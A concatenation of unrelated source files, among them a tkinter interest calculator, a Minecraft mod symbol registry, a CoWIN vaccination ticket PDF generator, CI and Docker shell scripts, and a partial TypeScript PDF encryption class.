import tkinter # initialise a tkinter window window = tkinter.Tk() window.title("Bank Calculator") # define functions def calculate_interest(): # get user inputs amount = float(amount_entry.get()) rate = float(rate_entry.get()) years = int(years_entry.get()) simple_interest = amount * rate * years compounding_interest = amount * (1 + rate/12) ** (12 * years) # output results simple_interest_label.config(text='Simple Interest = $' + str(simple_interest)) compound_interest_label.config(text='Compound Interest = $' + str(compounding_interest)) # view amount_label = tkinter.Label(window, text="Amount") amount_entry = tkinter.Entry(window) rate_label = tkinter.Label(window, text="Rate (%)") rate_entry = tkinter.Entry(window) years_label = tkinter.Label(window, text="Years") years_entry = tkinter.Entry(window) calculate_button = tkinter.Button(window, text="Calculate", command=calculate_interest) simple_interest_label = tkinter.Label(window) compound_interest_label = tkinter.Label(window) # layouts amount_label.grid(row=1, column=1) amount_entry.grid(row=1, column=2) rate_label.grid(row=2, column=1) rate_entry.grid(row=2, column=2) years_label.grid(row=3, column=1) years_entry.grid(row=3, column=2) calculate_button.grid(row=4, column=2) simple_interest_label.grid(row=5, column=2) compound_interest_label.grid(row=6, column=2) # event loop window.mainloop()
<filename>src/main/java/malte0811/controlengineering/logic/schematic/symbol/SchematicSymbols.java package malte0811.controlengineering.logic.schematic.symbol; import com.google.common.collect.ImmutableList; import com.mojang.datafixers.util.Unit; import malte0811.controlengineering.ControlEngineering; import malte0811.controlengineering.logic.cells.LeafcellType; import malte0811.controlengineering.logic.cells.Leafcells; import malte0811.controlengineering.logic.cells.PinDirection; import malte0811.controlengineering.logic.cells.SignalType; import malte0811.controlengineering.logic.cells.impl.*; import malte0811.controlengineering.util.math.Fraction; import malte0811.controlengineering.util.math.Vec2i; import malte0811.controlengineering.util.typereg.TypedRegistry; import net.minecraft.resources.ResourceLocation; import java.util.ArrayList; import java.util.List; import static malte0811.controlengineering.logic.cells.PinDirection.*; import static malte0811.controlengineering.logic.schematic.symbol.SymbolPin.*; public class SchematicSymbols { public static final TypedRegistry<SchematicSymbol<?>> REGISTRY = new TypedRegistry<>(); public static final ResourceLocation SYMBOLS_SHEET = new ResourceLocation( ControlEngineering.MODID, "textures/gui/schematic_symbols.png" ); public static final IOSymbol INPUT_PIN_ANALOG = new IOSymbol(true, false); public static final IOSymbol INPUT_PIN_DIGITAL = new IOSymbol(true, true); public static final IOSymbol OUTPUT_PIN = new IOSymbol(false, false); public static final ConstantSymbol CONSTANT = new ConstantSymbol(); public static final CellSymbol<Unit> NOT; public static final CellSymbol<Unit> AND2; public static final CellSymbol<Unit> AND3; public static final CellSymbol<Unit> OR2; public static final CellSymbol<Unit> OR3; public static final CellSymbol<Unit> NAND2; public static final CellSymbol<Unit> NAND3; public static final CellSymbol<Unit> NOR2; public static final CellSymbol<Unit> NOR3; public static final CellSymbol<Unit> XOR2; public static final CellSymbol<Unit> XOR3; public static final CellSymbol<Unit> RS_LATCH; public static final CellSymbol<Unit> SCHMITT_TRIGGER; public static final CellSymbol<Unit> DELAY_LINE; public static final CellSymbol<Unit> D_LATCH; public static final CellSymbol<Unit> DIGITIZER; public static final CellSymbol<Unit> COMPARATOR; public static final CellSymbol<Unit> ANALOG_MUX; public static final CellSymbol<Unit> DIGITAL_MUX; public static final CellSymbol<Integer> VOLTAGE_DIVIDER; public static final CellSymbol<Unit> ANALOG_ADDER; public static final CellSymbol<Fraction> INVERTING_AMPLIFIER; public static final CellSymbol<Boolean> CONFIG_SWITCH; public static final TextSymbol TEXT = new TextSymbol(); static { List<SymbolPin> twoInputPins = ImmutableList.of(digitalIn(0, 1, "in1"), digitalIn(0, 5, "in2")); List<SymbolPin> threeInputPinsFlush = ImmutableList.of( digitalIn(0, 1, "in1"), digitalIn(0, 3, "in2"), digitalIn(0, 5, "in3") ); List<SymbolPin> threeInputPinsShift = ImmutableList.of( digitalIn(0, 1, "in1"), digitalIn(1, 3, "in2"), digitalIn(0, 5, "in3") ); AND2 = registerSimpleCell(Leafcells.AND2, 9, twoInputPins); AND3 = registerSimpleCell(Leafcells.AND3, 9, threeInputPinsFlush); OR2 = registerSimpleCell(Leafcells.OR2, 11, twoInputPins); OR3 = registerSimpleCell(Leafcells.OR3, 11, threeInputPinsShift); NAND2 = registerSimpleCell(Leafcells.NAND2, 12, twoInputPins); NAND3 = registerSimpleCell(Leafcells.NAND3, 12, threeInputPinsFlush); NOR2 = registerSimpleCell(Leafcells.NOR2, 13, twoInputPins); NOR3 = registerSimpleCell(Leafcells.NOR3, 13, threeInputPinsShift); XOR2 = registerSimpleCell(Leafcells.XOR2, 13, twoInputPins); XOR3 = registerSimpleCell(Leafcells.XOR3, 13, threeInputPinsShift); NOT = registerSimpleCell( Leafcells.NOT, 13, ImmutableList.of(digitalIn(0, 3, LeafcellType.DEFAULT_IN_NAME)) ); RS_LATCH = registerCell( Leafcells.RS_LATCH, 13, ImmutableList.of( digitalIn(0, 1, RSLatch.SET), digitalIn(0, 5, RSLatch.RESET), new SymbolPin(12, 1, SignalType.DIGITAL, DELAYED_OUTPUT, RSLatch.Q), new SymbolPin(12, 5, SignalType.DIGITAL, DELAYED_OUTPUT, RSLatch.NOT_Q) ) ); SCHMITT_TRIGGER = registerSimpleCell( Leafcells.SCHMITT_TRIGGER, 13, ImmutableList.of( analogIn(0, 1, SchmittTrigger.HIGH_PIN), analogIn(0, 3, LeafcellType.DEFAULT_IN_NAME), analogIn(0, 5, SchmittTrigger.LOW_PIN) ) ); DIGITIZER = registerSimpleCell( Leafcells.DIGITIZER, 13, ImmutableList.of(analogIn(0, 3, LeafcellType.DEFAULT_IN_NAME)) ); COMPARATOR = registerSimpleCell( Leafcells.COMPARATOR, 13, ImmutableList.of( analogIn(0, 1, Comparator.NEGATIVE), analogIn(0, 5, Comparator.POSITIVE) ) ); D_LATCH = delayCell(Leafcells.D_LATCH, 10, SignalType.DIGITAL); DELAY_LINE = delayCell(Leafcells.DELAY_LINE, 13, SignalType.ANALOG); ANALOG_MUX = registerMUX(Leafcells.ANALOG_MUX, SignalType.ANALOG); DIGITAL_MUX = registerMUX(Leafcells.DIGITAL_MUX, SignalType.DIGITAL); VOLTAGE_DIVIDER = registerCell(Leafcells.DIVIDER, 8, 11, List.of( analogIn(0, 0, VoltageDivider.INPUT_TOP), analogIn(0, 10, VoltageDivider.INPUT_BOTTOM), analogOut(7, 5, VoltageDivider.DEFAULT_OUT_NAME) )); ANALOG_ADDER = registerCell(Leafcells.ANALOG_ADDER, 9, List.of( analogIn(0, 0, Adder.IN_A), analogIn(0, 6, Adder.IN_B), analogOut(7, 3, Adder.OUTPUT) )); INVERTING_AMPLIFIER = registerCell(Leafcells.INVERTING_AMPLIFIER, 13, List.of( analogIn(0, 3, InvertingAmplifier.DEFAULT_IN_NAME), analogOut(12, 3, InvertingAmplifier.DEFAULT_OUT_NAME) )); CONFIG_SWITCH = registerCell(new ConfigSwitchSymbol()); REGISTRY.register(new ResourceLocation(ControlEngineering.MODID, "input_pin"), INPUT_PIN_ANALOG); REGISTRY.register(new ResourceLocation(ControlEngineering.MODID, "input_pin_digitized"), INPUT_PIN_DIGITAL); REGISTRY.register(new ResourceLocation(ControlEngineering.MODID, "output_pin"), OUTPUT_PIN); REGISTRY.register(new ResourceLocation(ControlEngineering.MODID, "constant"), CONSTANT); REGISTRY.register(new ResourceLocation(ControlEngineering.MODID, "text"), TEXT); } private static CellSymbol<Unit> delayCell(LeafcellType<?, Unit> cell, int uSize, SignalType type) { List<SymbolPin> pins = ImmutableList.of( new SymbolPin(0, 3, type, PinDirection.INPUT, LeafcellType.DEFAULT_IN_NAME), new SymbolPin(uSize - 1, 3, type, DELAYED_OUTPUT, LeafcellType.DEFAULT_OUT_NAME) ); return registerCell(cell, uSize, pins); } private static CellSymbol<Unit> registerMUX(LeafcellType<?, Unit> cell, SignalType type) { return registerCell(cell, 7, 8, List.of( new SymbolPin(0, 1, type, INPUT, Multiplexer.INPUT_0), new SymbolPin(0, 5, type, INPUT, Multiplexer.INPUT_1), new SymbolPin(new Vec2i(4, 7), SignalType.DIGITAL, INPUT, Multiplexer.SELECT, true), new SymbolPin(6, 3, type, OUTPUT, Multiplexer.OUTPUT) )); } private static <C> CellSymbol<C> registerSimpleCell( LeafcellType<?, C> cell, int uSize, List<SymbolPin> inputPins ) { List<SymbolPin> allPins = new ArrayList<>(inputPins); allPins.add(digitalOut(uSize - 1, 3, LeafcellType.DEFAULT_OUT_NAME)); return registerCell(cell, uSize, allPins); } private static <C> CellSymbol<C> registerCell(LeafcellType<?, C> cell, int uSize, List<SymbolPin> pins) { return registerCell(cell, uSize, 7, pins); } private static <C> CellSymbol<C> registerCell(LeafcellType<?, C> cell, int uSize, int vSize, List<SymbolPin> pins) { return registerCell(new CellSymbol<>(cell, uSize, vSize, pins)); } private static <C> CellSymbol<C> registerCell(CellSymbol<C> symbol) { return REGISTRY.register(symbol.getCellType().getRegistryName(), symbol); } }
package org.ruogu.learn.lang.reflect; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; /** * ReflectTest2 * * @author xueyintao 2016年2月6日 下午8:13:15 */ public class ReflectTest2 { /** * @param args */ public static void main(String[] args) { // 获得构造方法 System.out.println("获得构造方法"); Constructor[] cons = MyReflectClass.class.getConstructors(); // public for (Constructor c : cons) { System.out.println("" + c.getName()); } try { // Integer.class不能表示int类型的参数 Constructor consParam = MyReflectClass.class.getConstructor(new Class[]{Integer.class, String.class}); System.out.println("consParam.getName:" + consParam.getName()); Class[] params = consParam.getParameterTypes(); for (Class c : params) { System.out.println("consParam.param:" + c.getName()); } } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (SecurityException e) { e.printStackTrace(); } System.out.println(); // 创建对象 System.out.println("创建对象"); Class clazz = MyReflectClass.class; MyReflectClass myRef = null; try { myRef = (MyReflectClass)clazz.newInstance(); myRef.print(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } System.out.println(); // 设置field的值 System.out.println("设置field的值"); try { Field field = MyReflectClass.class.getField("age"); Object fieldValue = field.get(myRef); System.out.println("value of field age:" + fieldValue); field.set(myRef, 3); System.out.println("value of myRef age:" + myRef.getAge()); field.set(null, 4); System.out.println("value of myRef age:" + myRef.getAge()); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (SecurityException e) { e.printStackTrace(); } catch (IllegalArgumentException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } System.out.println(); // 调用method System.out.println("调用method"); try { Method method = MyReflectClass.class.getMethod("printAdd", Integer.class, Integer.class); Object result = method.invoke(myRef, 1, 2); System.out.println("method return:" + result); Method methodGet = MyReflectClass.class.getMethod("getAge", null); Object resultGet = methodGet.invoke(myRef, null); System.out.println("method get return:" + resultGet); Method methodGet2 = MyReflectClass.class.getMethod("test", int.class, Integer.class); Object resultGet2 = methodGet2.invoke(myRef, 3, 4); System.out.println("resultGet2 get return:" + resultGet2); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (SecurityException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (IllegalArgumentException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } System.out.println(); // 获得私有变量和方法 System.out.println("获得私有变量和方法"); try { Field privateField = MyReflectClass.class.getDeclaredField("name"); System.out.println("privateField:" + privateField.getName()); privateField.setAccessible(true); // 需要设置为true,否则获得成员值时报错:java.lang.IllegalAccessException Object privateValue = privateField.get(myRef); System.out.println("privateFieldValue:" + privateValue); System.out.println(); Method privateMethod = MyReflectClass.class.getDeclaredMethod("printAddPrivate", Integer.class, Integer.class); System.out.println("privateMethod.name:" + privateMethod.getName()); privateMethod.setAccessible(true); Object result = privateMethod.invoke(myRef, 10, 20); System.out.println("privateMethod result:" + result); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (SecurityException e) { e.printStackTrace(); } catch (IllegalArgumentException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } } }
<reponame>leotangram/lo-product-card import { ProductCardHOCProps } from '../interfaces/interfaces' import ProductCardHOC from './ProductCard' import { ProductButtons } from './ProductButtons' import { ProductImage } from './ProductImage' import { ProductTitle } from './ProductTitle' const ProductCard: ProductCardHOCProps = Object.assign(ProductCardHOC, { Title: ProductTitle, Image: ProductImage, Buttons: ProductButtons }) export { ProductButtons } from './ProductButtons' export { ProductImage } from './ProductImage' export { ProductTitle } from './ProductTitle' export default ProductCard
import os from celery import Celery os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'BPPRC.settings') celery_app = Celery('BPPRC') celery_app.config_from_object('django.conf.settings', namespace='CELERY') celery_app.autodiscover_tasks()
package com.genersoft.iot.vmp.gb28181.utils; /** * 数值格式判断和处理 * @author lawrencehj * @date 2021年1月27日 */ public class NumericUtil { /** * 判断是否Double格式 * @param str * @return true/false */ public static boolean isDouble(String str) { try { Double num2 = Double.valueOf(str); System.out.println(num2 + " is a valid numeric string!"); return true; } catch (Exception e) { System.out.println(str + " is an invalid numeric string!"); return false; } } /** * 判断是否Double格式 * @param str * @return true/false */ public static boolean isInteger(String str) { try { int num2 = Integer.valueOf(str); System.out.println(num2 + " is an integer!"); return true; } catch (Exception e) { System.out.println(str + " is not an integer!"); return false; } } }
<reponame>gitaalekhyapaul/cowin-ticket import { createHash } from "crypto"; import axios from "axios"; import { decode } from "jsonwebtoken"; import PDFDocument from "pdfkit"; import moment from "moment"; import { ToWords } from "to-words"; import { join } from "path"; import { errors } from "../error/error.constants"; import { validateBeneficiaryRequest, dueDate } from "./validate.schema"; import { DatabaseService } from "../services/database.service"; export const validateOtp = async ( code: string, otp: string, txnId: string ): Promise<{ beneficiaryId: string }> => { try { const hashOtp = createHash("sha256").update(otp).digest("hex"); const { data } = (await axios.post( "https://cdn-api.co-vin.in/api/v2/auth/public/confirmOTP", { otp: hashOtp, txnId, }, { headers: { "User-Agent": "Node.js Runtime", Accept: "*/*", }, } )) as { data: { token: string } }; const { beneficiary_reference_id } = (await decode(data.token)) as { beneficiary_reference_id: string; }; return { beneficiaryId: `**********${code}`, }; } catch (err) { if ( typeof err.response.data.errorCode !== "undefined" && err.response.data.errorCode === "USRAUT0014" ) { throw errors.INVALID_OTP; } else if ( typeof err.response.data.errorCode !== "undefined" && err.response.data.errorCode === "USRAUT0024" ) { throw errors.INVALID_BENEFICIARY; } else if (err.response.data) { console.dir(err.response.data); throw errors.INTERNAL_SERVER_ERROR; } else { throw err; } } }; export const validateBeneficiary = ( beneficiaryId: string, code: string ): boolean => { if (beneficiaryId.endsWith(code)) { return true; } else { throw errors.INVALID_BENEFICIARY; } }; export const generateTicket = async ( token: number | string, beneficiary: validateBeneficiaryRequest ): Promise<Buffer> => { const doc = new PDFDocument({ autoFirstPage: false, }); /** * Setting up the page. */ doc.font("Times-Roman").fontSize(11).addPage({ layout: "landscape", size: "A5", margin: 0, }); /** * Setting image background. */ doc.image(join(__dirname, "..", "..", "assets", "Ticket.png"), 0, 0, { width: 595.28, }); doc.text(`${token}`, 85, 124, { height: 21, width: 137, align: "justify", baseline: "middle", }); doc.rotate(-90, { origin: [558, 331] }); doc.text(`${token}`, 558, 331, { height: 21, width: 77, align: "justify", baseline: "middle", }); doc.rotate(90, { origin: [558, 331] }); /** * Setting name of beneficiary */ doc.text(beneficiary.name, 60, 153, { height: 21, width: 162, align: "justify", baseline: "middle", }); doc.rotate(-90, { origin: [529, 189] }); doc.text(beneficiary.name, 529, 189, { height: 21, width: 145, align: "justify", baseline: "middle", }); doc.rotate(90, { origin: [529, 189] }); /** * Set beneficiary dose information (dose number & due date if applicable) */ const dose = `${beneficiary.dose === "I" ? "1ST" : "2ND"}`; const vaccineDue = `${moment( `${moment(beneficiary.date, "DD/MM/YYYY") .add(dueDate[beneficiary.vaccine].start, "weeks") .calendar()}`, "MM/DD/YYYY" ).format("DD/MM/YYYY")} - ${moment( `${moment(beneficiary.date, "DD/MM/YYYY") .add(dueDate[beneficiary.vaccine].end, "weeks") .calendar()}`, "MM/DD/YYYY" ).format("DD/MM/YYYY")}`; doc.text(dose, 297, 153, { height: 21, width: 40, align: "justify", baseline: "middle", }); doc.rotate(-90, { origin: [530, 331] }); doc.text(dose, 530, 331, { height: 21, width: 77, align: "justify", baseline: "middle", }); doc.rotate(90, { origin: [530, 331] }); doc.text(beneficiary.dose === "I" ? vaccineDue : "NA", 297, 290, { height: 21, width: 164, align: "justify", baseline: "middle", }); /** * Set beneficiary mobile number */ doc.text(beneficiary.mobile, 76, 371, { height: 21, width: 146, align: "justify", baseline: "middle", }); doc.rotate(-90, { origin: [558, 189] }); doc.text(beneficiary.mobile, 558, 189, { height: 21, width: 147, align: "justify", baseline: "middle", }); doc.rotate(90, { origin: [558, 189] }); /** * Set vaccine type */ doc.text(beneficiary.vaccine.toUpperCase(), 297, 125, { height: 21, width: 164, align: "justify", baseline: "middle", }); /** * Set vaccine price */ const toWords = new ToWords({ localeCode: "en-IN", converterOptions: { currency: true, }, }); doc.text(`Rs. ${beneficiary.price}.00 /=`, 389, 153, { height: 21, width: 72, align: "justify", baseline: "middle", }); doc.text(`${toWords.convert(beneficiary.price)}`, 296, 178, { height: 34, width: 165, align: "justify", baseline: "middle", }); /** * Set beneficiary age */ doc.text(`${beneficiary.age} yrs.`, 60, 181, { height: 34, width: 44, align: "justify", baseline: "middle", }); /** * Set beneficiary gender */ doc.text(beneficiary.gender.toUpperCase(), 171, 181, { height: 34, width: 51, align: "justify", baseline: "middle", }); /** * Set beneficiary address */ doc.text(beneficiary.address, 39, 206, { height: 71, width: 183, align: "justify", baseline: "middle", }); /** * Set beneficiary ID */ doc.text( `${beneficiary.cowin.beneficiaryId ? beneficiary.cowin.beneficiaryId : ""}`, 297, 228, { height: 34, width: 164, align: "justify", baseline: "middle", } ); /** * Set date and time */ doc.text(beneficiary.date, 297, 263, { height: 21, width: 75, align: "justify", baseline: "middle", }); doc.text(beneficiary.time, 386, 263, { height: 21, width: 75, align: "justify", baseline: "middle", }); /** * Set beneficiary post office */ doc.text(beneficiary.po, 77, 287, { height: 21, width: 144, align: "justify", baseline: "middle", }); /** * Set beneficiary police station */ doc.text(beneficiary.ps, 77, 315, { height: 21, width: 144, align: "justify", baseline: "middle", }); /** * Set beneficiary ID */ doc.text(beneficiary.pincode, 77, 343, { height: 21, width: 144, align: "justify", baseline: "middle", }); /** * Finalize Changes */ doc.end(); const ticketPDF = await new Promise((resolve: (data: Buffer) => void) => { const buffers: any[] = []; doc.on("data", buffers.push.bind(buffers)); doc.on("end", () => { const data = Buffer.concat(buffers); resolve(data); }); }); return ticketPDF; }; export const addBeneficiary = async ( beneficiary: validateBeneficiaryRequest ): Promise<string> => { const db = await DatabaseService.getInstance().getDb("beneficiaries"); const num = (await db.countDocuments({})) + 1; const token = "0".repeat(5 - String(num).length) + num; const { insertedId } = await db.insertOne({ id: `${token}`, ...beneficiary, status: { vaccinated: false, }, }); return `${token}`; };
package main import "fmt" func main() { input1 := "Hello" input2 := "World!" longestString := "" if len(input1) > len(input2) { longestString = input1 } else { longestString = input2 } fmt.Println("The longest string is:", longestString) }
def process_json_objects(json_objects): deleted_ids = [] for obj in json_objects: if obj.get("action") == "motion_comment_section.delete": id_to_delete = obj.get("data")[0].get("id") # Perform model deletion operation using id_to_delete # For example: self.assert_model_deleted("motion_comment_section/" + str(id_to_delete)) deleted_ids.append(id_to_delete) return deleted_ids
<reponame>catperso/looking-for-group import rootReducer from "../../reducers"; import { createStore } from "redux"; import formVisibleReducer from "../../reducers/form-visible-reducer"; import gameListReducer from "../../reducers/game-list-reducer"; import * as c from './../../actions/ActionTypes'; let store = createStore(rootReducer); describe('rootReducer', () => { test('check that initial state of ticketListReducer matches root reducer', () => { expect(store.getState().mainGameList).toEqual(gameListReducer(undefined, {type: null})); }); test('check that initial state of formVisibleReducer matches root reducer', () => { expect(store.getState().formVisibleOnPage).toEqual(formVisibleReducer(undefined, {type: null})); }); test('check that TOGGLE_FORM action works for formVisibleReducer and root reducer', () => { const action = {type: c.TOGGLE_FORM}; store.dispatch(action); expect(store.getState().formVisibleOnPage).toEqual(formVisibleReducer(undefined, action)); }); });
import { Component, OnInit } from '@angular/core'; import { Router } from '@angular/router'; import { from } from 'rxjs'; import { LoginService } from '../services/login.service'; import {MatDialog} from '@angular/material/dialog'; import { EmotionDialogComponent } from '../emotion-dialog/emotion-dialog.component'; @Component({ selector: 'app-doctor', templateUrl: './doctor.component.html', styleUrls: ['./doctor.component.scss'] }) export class DoctorComponent implements OnInit { constructor(public dialog:MatDialog,private router : Router,private loginSrv : LoginService) { } ngOnInit() { if(this.loginSrv.surveyFlag){ this.openEmotionDialog(); } } openPendingAppoin(){ this.router.navigate(['/appointment']); } openEmotionDialog() { let width = window.screen.width < 599 ? '90%' : '48%' const dialogRef = this.dialog.open(EmotionDialogComponent,{ maxWidth : width, height : '55%', disableClose : true, hasBackdrop : true, data:{ action:'doctor' } }); dialogRef.afterClosed().subscribe(result => { }); } }
#!/bin/sh # Copyright 2005-2018 ECMWF. # # This software is licensed under the terms of the Apache Licence Version 2.0 # which can be obtained at http://www.apache.org/licenses/LICENSE-2.0. # # In applying this licence, ECMWF does not waive the privileges and immunities granted to it by # virtue of its status as an intergovernmental organisation nor does it submit to any jurisdiction. . ./include.sh #Define a common label for all the tmp files label="bufr_read_header_test_f" #Prepare tmp file fTmp=${label}.tmp.txt rm -f $fTmp | true #----------------------------------------------------- # Test reading the header from a BUFR # file with multiple messages #---------------------------------------------------- f=${data_dir}/bufr/syno_multi.bufr fRef=${f}.header.ref REDIRECT=/dev/null #Write the values into a file and compare with reference ${examples_dir}/eccodes_f_bufr_read_header $f 2> $REDIRECT > $fTmp #We compare output to the reference by ignoring the whitespaces diff -w $fRef $fTmp >$REDIRECT 2> $REDIRECT #cat $fRes #Clean up rm -f ${fTmp} | true
/* * Copyright [2018] [<NAME>] * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.jacpfx.vxms.event.util; import java.lang.reflect.Method; import java.util.function.Supplier; import org.jacpfx.vxms.common.util.CommonReflectionUtil; /** Created by <NAME> on 25.11.15. Utility class for handling invocation of vxms methods */ public class ReflectionUtil { /** * Invoke a vxms event-bus method parameters * * @param method the method identifier * @param t the failure * @param handler the handler * @param <T> the type * @return the array of parameters to pass to method invokation */ public static <T> Object[] invokeParameters(Method method, Throwable t, T handler) { final java.lang.reflect.Parameter[] parameters = method.getParameters(); final Object[] parameterResult = new Object[parameters.length]; int i = 0; for (java.lang.reflect.Parameter p : parameters) { if (handler != null && handler.getClass().isAssignableFrom(p.getType())) { parameterResult[i] = handler; } if (Throwable.class.isAssignableFrom(p.getType())) { parameterResult[i] = t; } i++; } return parameterResult; } /** * invoke a method with given parameters * * @param method the method * @param parameters the parameters * @param invokeTo the target * @throws Throwable the exception */ public static void genericMethodInvocation( Method method, Supplier<Object[]> parameters, Object invokeTo) throws Throwable { CommonReflectionUtil.genericMethodInvocation(method, parameters, invokeTo); } }
#!/usr/bin/env bash rex='dxx-(.*).txt' _guid() { arr=( '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' 'A' 'B' 'C' 'D' 'E' 'F' 'G' 'H' 'J' 'K' 'M' 'N' 'P' 'Q' 'R' 'S' 'T' 'U' 'W' 'X' 'Y' 'Z' ) local out="" for I in `seq 21`; do rand=$[$RANDOM % ${#arr[@]}] out="${arr[rand]}${out}" done echo "$out" } pushd daily for I in *.txt; do if [[ "$I" =~ $rex ]]; then date="${BASH_REMATCH[1]}" guid="$(_guid)" echo -e "\n\n\n\nMy Reference: $guid \n@ft @quick(daily/$date) \n" \ >> "$I" git mv "$I" ../worklogs/"$guid".txt fi done popd
from flask import jsonify from fref.models import db, commit, Foo def init_app(app): @app.route('/') def root(): foo = Foo() db.session.add(foo) commit() return jsonify({'message': 'Hello, World!'})
travis_terminate() { if [[ ! "${TRAVIS_OS_NAME}" ]]; then return fi "_travis_terminate_${TRAVIS_OS_NAME}" "${@}" } _travis_terminate_linux() { _travis_terminate_unix "${@}" } _travis_terminate_osx() { _travis_terminate_unix "${@}" } _travis_terminate_unix() { set +e [[ "${TRAVIS_FILTERED}" == redirect_io && -e /dev/fd/9 ]] && sync && command exec 1>&9 2>&9 9>&- && sync pgrep -u "${USER}" | grep -v -w "${$}" >"${TRAVIS_TMPDIR}/pids_after" awk 'NR==FNR{a[$1]++;next};!($1 in a)' "${TRAVIS_TMPDIR}"/pids_{before,after} | xargs kill &>/dev/null || true pkill -9 -P "${$}" &>/dev/null || true exit "${1}" } _travis_terminate_windows() { # TODO: find all child processes and exit via ... powershell? exit "${1}" }
#!/bin/sh VERSION="1.0.0-SNAPSHOT" MAINTAINERS="Zak Hassan" COMPONENT="recommend-service" cat << 'EOF' ______ ____ __ ______ _ __ _____ / / __ )____ __________ / __ \____ _/ /_____ _/ ____/____(_)___/ / /__ / __ __ / / __ / __ \/ ___/ ___/ / / / / __ `/ __/ __ `/ / __/ ___/ / __ / / / __/ /_ / /_/ / /_/ / /_/ (__ |__ ) / /_/ / /_/ / /_/ /_/ / /_/ / / / / /_/ / / / /_ __/ \____/_____/\____/____/____/ /_____/\__,_/\__/\__,_/\____/_/ /_/\__,_/ /_/ /_/ _____ __ __ _____ ___ __ / ___/____ ____ ______/ /__ / |/ / / / (_) /_ \__ \/ __ \/ __ `/ ___/ //_/ / /|_/ / / / / / __ \ ___/ / /_/ / /_/ / / / ,< / / / / /___/ / / /_/ / /____/ .___/\__,_/_/ /_/|_| /_/ /_/_____/_/_/_.___/ /_/ EOF echo " " echo "Maintainers: $MAINTAINERS" echo " " echo "Version: $VERSION" echo " " echo "Component: $COMPONENT" echo " " echo "Building Containers and pushing docker images to docker registry" echo " " docker build --rm -t recommend-mllib . docker tag recommend-mllib docker.io/metadatapoc/recommend-mllib docker push docker.io/metadatapoc/recommend-mllib
/* PDFSecurity - represents PDF security settings By <NAME> <<EMAIL>> Translated to ts by <NAME> */ import { PDFDocument } from './document'; import { PDFReference } from './reference'; import * as CryptoJS from 'crypto-js'; import { PDFInfo, PDFOptions, PDFPermissions, UtilEncDict } from './types'; import { saslprep } from './slaprep'; export class PDFSecurity { private _document: PDFDocument; private _version!: number; private _dictionary!: PDFReference; private _encryptionKey!: CryptoJS.lib.WordArray; private _keyBits!: number; constructor(document: PDFDocument, options: PDFOptions = {}) { if (!options.ownerPassword && !options.userPassword) { throw new Error('None of owner password and user password is defined.'); } this._document = document; this._setupEncryption(options); } static generateFileID(info: PDFInfo) { let infoStr = `${info.CreationDate.getTime()}\n`; for (const key in info) { // eslint-disable-next-line no-prototype-builtins if (!info.hasOwnProperty(key)) { continue; } infoStr += `${key}: ${info[key].valueOf()}\n`; } return wordArrayToBuffer(CryptoJS.MD5(infoStr)); } static generateRandomWordArray(bytes: number) { return CryptoJS.lib.WordArray.random(bytes); } static create(document: PDFDocument, options: PDFOptions = {}) { if (!options.ownerPassword && !options.userPassword) { return null; } return new PDFSecurity(document, options); } _setupEncryption(options: { pdfVersion?: string; permissions?: PDFPermissions; userPassword?: string; ownerPassword?: string; }) { switch (options.pdfVersion) { case '1.4': case '1.5': this._version = 2; break; case '1.6': case '1.7': this._version = 4; break; case '1.7ext3': this._version = 5; break; default: this._version = 1; break; } const encDict = { Filter: 'Standard', }; switch (this._version) { case 1: case 2: case 4: this._setupEncryptionV1V2V4(this._version, encDict, options); break; case 5: this._setupEncryptionV5(encDict, options); break; } this._dictionary = this._document.ref(encDict); } _setupEncryptionV1V2V4( v: 1 | 2 | 4, encDict: UtilEncDict, options: { permissions?: PDFPermissions; userPassword?: string; ownerPassword?: string; } ) { let r: 2 | 3 | 4; let permissions: number; switch (v) { case 1: r = 2; this._keyBits = 40; permissions = getPermissionsR2(options.permissions); break; case 2: r = 3; this._keyBits = 128; permissions = getPermissionsR3(options.permissions); break; case 4: r = 4; this._keyBits = 128; permissions = getPermissionsR3(options.permissions); break; } const paddedUserPassword = processPassword<PASSWORD>(options.userPassword); const paddedOwnerPassword = options.ownerPassword ? process<PASSWORD>(options.ownerPassword) : <PASSWORD>; const ownerPasswordEntry = getOwnerPasswordR2R3R4( r, this._keyBits, paddedUserPassword, paddedOwnerPassword ); this._encryptionKey = getEncryptionKeyR2R3R4( r, this._keyBits, this._document.id, paddedUserPassword, ownerPasswordEntry, permissions ); let userPasswordEntry; if (r === 2) { userPasswordEntry = getUserPasswordR2(this._encryptionKey); } else { userPasswordEntry = getUserPasswordR3R4( this._document.id, this._encryptionKey ); } encDict.V = v; if (v >= 2) { encDict.Length = this._keyBits; } if (v === 4) { encDict.CF = { StdCF: { AuthEvent: 'DocOpen', CFM: 'AESV2', Length: this._keyBits / 8, }, }; encDict.StmF = 'StdCF'; encDict.StrF = 'StdCF'; } encDict.R = r; encDict.O = wordArrayToBuffer(ownerPasswordEntry); encDict.U = wordArrayToBuffer(userPasswordEntry); encDict.P = permissions; } _setupEncryptionV5( encDict: UtilEncDict, options: { permissions?: PDFPermissions; userPassword?: string; ownerPassword?: string; } ) { this._keyBits = 256; const permissions = getPermissionsR3(options.permissions); const processedUserPassword = processPasswordR5(options.userPassword); const processedOwnerPassword = options.ownerPassword ? processPasswordR5(options.ownerPassword) : <PASSWORD>; this._encryptionKey = getEncryptionKeyR5( PDFSecurity.generateRandomWordArray ); const userPasswordEntry = 